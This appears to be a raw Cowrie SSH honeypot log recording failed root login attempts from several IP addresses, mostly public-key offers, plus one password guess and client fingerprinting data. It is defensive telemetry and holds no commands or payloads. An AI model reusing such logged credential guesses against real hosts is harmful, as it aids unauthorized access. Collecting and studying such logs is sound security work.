{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f8:74:20:f6:15:90:f7:d1:ab:2b:5b:15:a4:9d:db:f9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDPt7FPhmMqUdu5Vf259XEnMDQE8lC/cAEOCiffczHBEYTe0cJ1wShAzmg6g3etNRHPocfSi9uB3x0Oqt79Jfqh8VtBuqBuVmElb6Ht3uU6hF7FGeaOWe5R0ZRHyMozuHHtpS0TbM9chut8n11DKHlKaN6lIqtZ/F8VuQQQV7E2FJAsfI1Jl2y2MkboTWGAXieIbndKttjDENjEGFCJ+lOgSYFfJhBOL+3SV+5k1vI0pSCRjAEKIyaa16SZk2h6pbvg8mVVQb7zQUuZFFM4oDs1s2vP6HNYtKirBbjuQHSARkzvPV7ws+m2lOLPa4nXX2s96t+vJBbmHO2/iZWYiacD","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f8:74:20:f6:15:90:f7:d1:ab:2b:5b:15:a4:9d:db:f9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:04:39.545242Z","src_ip":"45.148.147.191","session":"677259546919","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f8:74:20:f6:15:90:f7:d1:ab:2b:5b:15:a4:9d:db:f9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDPt7FPhmMqUdu5Vf259XEnMDQE8lC/cAEOCiffczHBEYTe0cJ1wShAzmg6g3etNRHPocfSi9uB3x0Oqt79Jfqh8VtBuqBuVmElb6Ht3uU6hF7FGeaOWe5R0ZRHyMozuHHtpS0TbM9chut8n11DKHlKaN6lIqtZ/F8VuQQQV7E2FJAsfI1Jl2y2MkboTWGAXieIbndKttjDENjEGFCJ+lOgSYFfJhBOL+3SV+5k1vI0pSCRjAEKIyaa16SZk2h6pbvg8mVVQb7zQUuZFFM4oDs1s2vP6HNYtKirBbjuQHSARkzvPV7ws+m2lOLPa4nXX2s96t+vJBbmHO2/iZWYiacD","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:04:39.549775Z","src_ip":"45.148.147.191","session":"677259546919","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f2:04:c0:17:f7:b7:b4:72:2a:bf:ac:60:6e:1c:1e:d5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCU+mKzdQ0plgupZFy4HuXqzo26gssHiXlTaZgvBB4T+mjT+9tzrcBNGr2mrUxXjzSuCoYCDDZsssXP5tpwiAV6a9zbiFNfTw/MUVeZBQV6O7dWZArroNt8Fo/43AqTCwJ4KHTxR7NhwyTRjnOBVzwh6JaQhjKSWy9iBQXL35fT3wR1A3d6XnFiyNBbeWRxTnRAcjMK65VeXXuXRSAl+iF41jfyltwPnCZ3QUUbw9PheyE1pdE7Ttb37phLT9sz/4b0A6EBgM2qMrRXF3WLTOppqT1+dboPQKLtvvZz87yVWw+mUfEKJz/1X5CNC3va51IGM0gkCmQllKzn5rV12xBNpHGCe0hgHf0TUCJMDCQ8c8wKzqRGQrRDALdt02MjHK7TPPlFAxmHBzEXKBJyNMfv0rhQVcuH/3bbdIu5WXn58z8AXEMUl+ksCLzH6vZ1UwOmy2c3SIQo8zh1R1FES0LPA4072RZmD1zfUEW3LrhxmU3wbtwfcXmL3mKmO9UguSdUBOGIJ5kLTuHdfvfVuYCDeApITW3AjjoLk7RYX2UfxD3A2NXoa52vwTt18kkOfg75/nH9Bn6H69C60/vqbrpxu1X1kzqYbj0l8bcOF+TRpAuSDyKP59d0Pp+enDV2zFbAGpwGiZK3HNBfXTMDsduaADwVWn9lKcEcNGF1XEbqqw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f2:04:c0:17:f7:b7:b4:72:2a:bf:ac:60:6e:1c:1e:d5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:04:39.641778Z","src_ip":"45.148.147.191","session":"677259546919","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f2:04:c0:17:f7:b7:b4:72:2a:bf:ac:60:6e:1c:1e:d5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCU+mKzdQ0plgupZFy4HuXqzo26gssHiXlTaZgvBB4T+mjT+9tzrcBNGr2mrUxXjzSuCoYCDDZsssXP5tpwiAV6a9zbiFNfTw/MUVeZBQV6O7dWZArroNt8Fo/43AqTCwJ4KHTxR7NhwyTRjnOBVzwh6JaQhjKSWy9iBQXL35fT3wR1A3d6XnFiyNBbeWRxTnRAcjMK65VeXXuXRSAl+iF41jfyltwPnCZ3QUUbw9PheyE1pdE7Ttb37phLT9sz/4b0A6EBgM2qMrRXF3WLTOppqT1+dboPQKLtvvZz87yVWw+mUfEKJz/1X5CNC3va51IGM0gkCmQllKzn5rV12xBNpHGCe0hgHf0TUCJMDCQ8c8wKzqRGQrRDALdt02MjHK7TPPlFAxmHBzEXKBJyNMfv0rhQVcuH/3bbdIu5WXn58z8AXEMUl+ksCLzH6vZ1UwOmy2c3SIQo8zh1R1FES0LPA4072RZmD1zfUEW3LrhxmU3wbtwfcXmL3mKmO9UguSdUBOGIJ5kLTuHdfvfVuYCDeApITW3AjjoLk7RYX2UfxD3A2NXoa52vwTt18kkOfg75/nH9Bn6H69C60/vqbrpxu1X1kzqYbj0l8bcOF+TRpAuSDyKP59d0Pp+enDV2zFbAGpwGiZK3HNBfXTMDsduaADwVWn9lKcEcNGF1XEbqqw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:04:39.645401Z","src_ip":"45.148.147.191","session":"677259546919","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a6:8d:43:c3:07:fe:3f:53:f1:cd:63:14:a1:1f:24:60","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD3Op3dHPwdZ6k+AIzIGN7C9X7oE6unQxJsNPIDSEPAA3S0wq51iAYSOFMq7SubAKk0gowQ0yY0/QQ7CeogJ06cm0b7BOb8j+kmtQl+49cYS7Mcsgfy5poOJSeyNanmWWoj246oWmsUt2Lf9bHtd4ivIMYF+dggyrDnqSVASoBMvsf9pfX5u4NfDeTwOCKWuyoxoLr9eTlYNmk4/y6a8rY2plrpYSOhY33m34LtOFcD5SNdkzE61GvV7K+2OR7O2Coh1JmX/H9EtdzRN9ag7UmT7ijH/g6KLYo0nafzQr+wBQ8zF6jJ38n12dYD6pNfRt5EFXd8ca0LnbNSImwNmo0D","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a6:8d:43:c3:07:fe:3f:53:f1:cd:63:14:a1:1f:24:60","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:04:39.735955Z","src_ip":"45.148.147.191","session":"677259546919","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a6:8d:43:c3:07:fe:3f:53:f1:cd:63:14:a1:1f:24:60","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD3Op3dHPwdZ6k+AIzIGN7C9X7oE6unQxJsNPIDSEPAA3S0wq51iAYSOFMq7SubAKk0gowQ0yY0/QQ7CeogJ06cm0b7BOb8j+kmtQl+49cYS7Mcsgfy5poOJSeyNanmWWoj246oWmsUt2Lf9bHtd4ivIMYF+dggyrDnqSVASoBMvsf9pfX5u4NfDeTwOCKWuyoxoLr9eTlYNmk4/y6a8rY2plrpYSOhY33m34LtOFcD5SNdkzE61GvV7K+2OR7O2Coh1JmX/H9EtdzRN9ag7UmT7ijH/g6KLYo0nafzQr+wBQ8zF6jJ38n12dYD6pNfRt5EFXd8ca0LnbNSImwNmo0D","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:04:39.739095Z","src_ip":"45.148.147.191","session":"677259546919","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4f:d3:e0:83:26:31:9b:7a:92:38:c1:2c:e7:ef:4c:1a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDVWXA0VqYZw/bZbtJ5NeTgOgOYBlCzpmZq6/zZ1TqHP7nAzPg+TPbuXYqVlnRu7CFdbNV/tr1eqb2PkvCt7KTk+9Mg/EASVw2oIFTWcqEUW9ILbnmgvhn9rLFukYkBmhsiC1xXxoTSHIFpsFDL8SymnwzidJYHg/JTuoX6ouPQmvgf5ngxpKel6pn/Qjk6Cy21ZBp8g51OO56VpFaBs7IY6T0px7AKpW7BWnQ3wUAAWhswEKrJbgnOEMoI7/Nn/jtjG33pnlH3vzEPEDQVe4WFfgsHgMpz6mno9+QgkWUAOw45GZIBpriXX3o1ylggZ7jjUJ9FLCpOrWwWc7YiiQswSSuWxHQcPDECFHnxoeppjWN4Q55CtTsb5x7bfhjvKVeW6KpwZujmDgrA16ds7n0Gv2RqQz+3m7aHZZ9jJxsQNuG2w3RX/8GMgs3fQTP92W/0pQ6Xn0wSwdWSyH/wbeMA1Le51WxMjHzZ/mCu7Ac7wTxlH3200DdRlu68vp3gDx8=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4f:d3:e0:83:26:31:9b:7a:92:38:c1:2c:e7:ef:4c:1a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:04:39.836557Z","src_ip":"45.148.147.191","session":"677259546919","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4f:d3:e0:83:26:31:9b:7a:92:38:c1:2c:e7:ef:4c:1a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDVWXA0VqYZw/bZbtJ5NeTgOgOYBlCzpmZq6/zZ1TqHP7nAzPg+TPbuXYqVlnRu7CFdbNV/tr1eqb2PkvCt7KTk+9Mg/EASVw2oIFTWcqEUW9ILbnmgvhn9rLFukYkBmhsiC1xXxoTSHIFpsFDL8SymnwzidJYHg/JTuoX6ouPQmvgf5ngxpKel6pn/Qjk6Cy21ZBp8g51OO56VpFaBs7IY6T0px7AKpW7BWnQ3wUAAWhswEKrJbgnOEMoI7/Nn/jtjG33pnlH3vzEPEDQVe4WFfgsHgMpz6mno9+QgkWUAOw45GZIBpriXX3o1ylggZ7jjUJ9FLCpOrWwWc7YiiQswSSuWxHQcPDECFHnxoeppjWN4Q55CtTsb5x7bfhjvKVeW6KpwZujmDgrA16ds7n0Gv2RqQz+3m7aHZZ9jJxsQNuG2w3RX/8GMgs3fQTP92W/0pQ6Xn0wSwdWSyH/wbeMA1Le51WxMjHzZ/mCu7Ac7wTxlH3200DdRlu68vp3gDx8=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:04:39.839807Z","src_ip":"45.148.147.191","session":"677259546919","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"40:90:44:9f:b2:00:14:37:5a:bc:b7:36:29:5f:58:f4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3ibRbvcKQ0X3RnUZUIj18FY02iK+IvR9aOO0CP0e6DxyFYOTOW53JWDQrs7SZMjYgbMnas2QjoAkefQR2gSNVYv6+lGNakYeSa7PHEKymFuaRg0yxbloRSz6mdMfOUMnZQT62oX29ShgtIfZE9BQpztoEBzhoYO85B34lLlIlTHySodqc/9lxzIkU9Tyd6kTlgDJg8Jb6pZ28YHFLxfwqzFxBnIVzwclxoNQqz/C6cDFCttJE/826T3ky7PUov5C2h+KFsPDRSlThha2PZPe6OjHYLfbNdlcoJb9OSiyVq0/blj7VbzXllny4YtkOKg3S5O7y4NEI2JElsCsOQFlP","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 40:90:44:9f:b2:00:14:37:5a:bc:b7:36:29:5f:58:f4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:04:39.930731Z","src_ip":"45.148.147.191","session":"677259546919","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"40:90:44:9f:b2:00:14:37:5a:bc:b7:36:29:5f:58:f4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3ibRbvcKQ0X3RnUZUIj18FY02iK+IvR9aOO0CP0e6DxyFYOTOW53JWDQrs7SZMjYgbMnas2QjoAkefQR2gSNVYv6+lGNakYeSa7PHEKymFuaRg0yxbloRSz6mdMfOUMnZQT62oX29ShgtIfZE9BQpztoEBzhoYO85B34lLlIlTHySodqc/9lxzIkU9Tyd6kTlgDJg8Jb6pZ28YHFLxfwqzFxBnIVzwclxoNQqz/C6cDFCttJE/826T3ky7PUov5C2h+KFsPDRSlThha2PZPe6OjHYLfbNdlcoJb9OSiyVq0/blj7VbzXllny4YtkOKg3S5O7y4NEI2JElsCsOQFlP","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:04:39.934380Z","src_ip":"45.148.147.191","session":"677259546919","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:04:40.025784Z","src_ip":"45.148.147.191","session":"677259546919","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.100","src_port":28593,"dst_ip":"159.203.135.109","dst_port":22,"session":"605e02dfcb60","protocol":"ssh","message":"New connection: 193.24.211.100:28593 (159.203.135.109:22) [session: 605e02dfcb60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:04:47.334861Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:04:47.339131Z","src_ip":"193.24.211.100","session":"605e02dfcb60","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:04:47.448771Z","src_ip":"193.24.211.100","session":"605e02dfcb60","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"huigu309","message":"login attempt [root/huigu309] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:04:47.944100Z","src_ip":"193.24.211.100","session":"605e02dfcb60","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:04:49.056061Z","src_ip":"193.24.211.100","session":"605e02dfcb60","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.356914520263672,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:04:49.745589Z","src_ip":"176.65.149.254","session":"544a4ed8e8fb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.237.147.156","src_port":49298,"dst_ip":"10.17.0.5","dst_port":22,"session":"3816a6d92d9e","protocol":"ssh","message":"New connection: 104.237.147.156:49298 (10.17.0.5:22) [session: 3816a6d92d9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:05:19.775031Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:05:19.780047Z","src_ip":"104.237.147.156","session":"3816a6d92d9e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:05:19.794664Z","src_ip":"104.237.147.156","session":"3816a6d92d9e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"81:20:2c:54:a6:6d:66:8d:7b:e9:17:af:a6:91:cd:8e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDMrqKZ38AKskGfbqXOqJTk3XxImCMvQGxcGxl0lurjbcbbWrXfgZq488iGHufQ7l1sBTN8+X55AWKTx1B72/3bFKKv4udebuTQ5OmCByV4oBtQVumwaIJEK75GeG4izsD0ogdgcR9g5pXGTlVLXt5AAKCI6rbOJpFammfhUeTEO6kR+fFO1lK7TsFidULJ+Gaiq5LdPjPRaJw++6f94TQ91TOzFjNV8ZT7ugf4o59eudfSTe2qK2O+BZkwYlYKhRxRRsaobQEj5KhX3wVVM+wO3ZsulvtdoJ8S0YFSz5fqb7wIoGxfHj7JnKrhU+aTxDx58F+60BERZpIVpDSFeZaB","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 81:20:2c:54:a6:6d:66:8d:7b:e9:17:af:a6:91:cd:8e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:05:19.824672Z","src_ip":"104.237.147.156","session":"3816a6d92d9e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"81:20:2c:54:a6:6d:66:8d:7b:e9:17:af:a6:91:cd:8e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDMrqKZ38AKskGfbqXOqJTk3XxImCMvQGxcGxl0lurjbcbbWrXfgZq488iGHufQ7l1sBTN8+X55AWKTx1B72/3bFKKv4udebuTQ5OmCByV4oBtQVumwaIJEK75GeG4izsD0ogdgcR9g5pXGTlVLXt5AAKCI6rbOJpFammfhUeTEO6kR+fFO1lK7TsFidULJ+Gaiq5LdPjPRaJw++6f94TQ91TOzFjNV8ZT7ugf4o59eudfSTe2qK2O+BZkwYlYKhRxRRsaobQEj5KhX3wVVM+wO3ZsulvtdoJ8S0YFSz5fqb7wIoGxfHj7JnKrhU+aTxDx58F+60BERZpIVpDSFeZaB","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:05:19.829032Z","src_ip":"104.237.147.156","session":"3816a6d92d9e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2a:18:a1:f1:0b:6d:22:cf:94:78:ca:fa:dd:b0:68:65","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDpQfNizpxfwzhoLZfo7vEJhfr9rHBILWKAc1U5FbQ5bjbmkCEgjEb8anJXkbIJFdS3cqIcrhxHZmBGjIg9YRhzeZPGdRaicQN8/B5glM/DteXvgZVXh5vHZL9KFsOv9x+3BM2DkP3PWgbuJvQqRVh66Hz3KxX2UPmm3p+94kckCRnZHDTJG7d1ApKxpHKiL2KI723PYb0AlXLM0mOOC/MvNemDxbf2yjC8Gbr+cPL1Pz1A8fiyjWGTLnwPcZkrsTGoT0ZYRRzeBdzYLczyPtBlAISLTrfynEkIQ/USv2C4MdBsN63BW+bQxAkTamY9v6k3b+I+roiGUmDr0KuuXthN","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2a:18:a1:f1:0b:6d:22:cf:94:78:ca:fa:dd:b0:68:65","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:05:19.839241Z","src_ip":"104.237.147.156","session":"3816a6d92d9e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2a:18:a1:f1:0b:6d:22:cf:94:78:ca:fa:dd:b0:68:65","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDpQfNizpxfwzhoLZfo7vEJhfr9rHBILWKAc1U5FbQ5bjbmkCEgjEb8anJXkbIJFdS3cqIcrhxHZmBGjIg9YRhzeZPGdRaicQN8/B5glM/DteXvgZVXh5vHZL9KFsOv9x+3BM2DkP3PWgbuJvQqRVh66Hz3KxX2UPmm3p+94kckCRnZHDTJG7d1ApKxpHKiL2KI723PYb0AlXLM0mOOC/MvNemDxbf2yjC8Gbr+cPL1Pz1A8fiyjWGTLnwPcZkrsTGoT0ZYRRzeBdzYLczyPtBlAISLTrfynEkIQ/USv2C4MdBsN63BW+bQxAkTamY9v6k3b+I+roiGUmDr0KuuXthN","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:05:19.843888Z","src_ip":"104.237.147.156","session":"3816a6d92d9e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0e:ff:3c:2d:97:d6:56:a2:fe:53:63:3b:f4:96:3a:b2","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHZACCRHOhRMs+vz7jFGvv47HkhPHbiaPat5s+v2k8gL","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 0e:ff:3c:2d:97:d6:56:a2:fe:53:63:3b:f4:96:3a:b2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:05:19.853018Z","src_ip":"104.237.147.156","session":"3816a6d92d9e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0e:ff:3c:2d:97:d6:56:a2:fe:53:63:3b:f4:96:3a:b2","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHZACCRHOhRMs+vz7jFGvv47HkhPHbiaPat5s+v2k8gL","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:05:19.857029Z","src_ip":"104.237.147.156","session":"3816a6d92d9e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1d:63:7d:45:d5:7e:66:17:c4:f3:c7:78:cb:d6:0b:bc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCQkRCOFfvkUnL0EvOW9jfLZ2fdkHf/hrXVthGeF3DlB6qSDObw2BlxK8MOOdO0Zzs0yQ6/Ivyl9bfHA/2BaahYjIALZ5RczzYSr4ZlmMlYZ+SWUzsng2Y4bql0PrWXDtnQBOjJ4yRksxf1m9uCoFQ1u36kd+o+L9jxPcbL+7IkVlEAE4BMs6Cgxwn+sBJlakREn144s90YNgNZ2+O6pjFEy/SmKFLnNNRe1SSDmYAYkGvKYHReA9VmdWtTnDim35KtQ3xNxO7v9V6z/3s9EVZaZXdre7/XeS9vPF13jPsM1yTfqHOQtnZqSLIX5ZzT+ge2b2AAZNsC5TcpWnUMVHb1","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1d:63:7d:45:d5:7e:66:17:c4:f3:c7:78:cb:d6:0b:bc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:05:19.870308Z","src_ip":"104.237.147.156","session":"3816a6d92d9e","protocol":"ssh"}
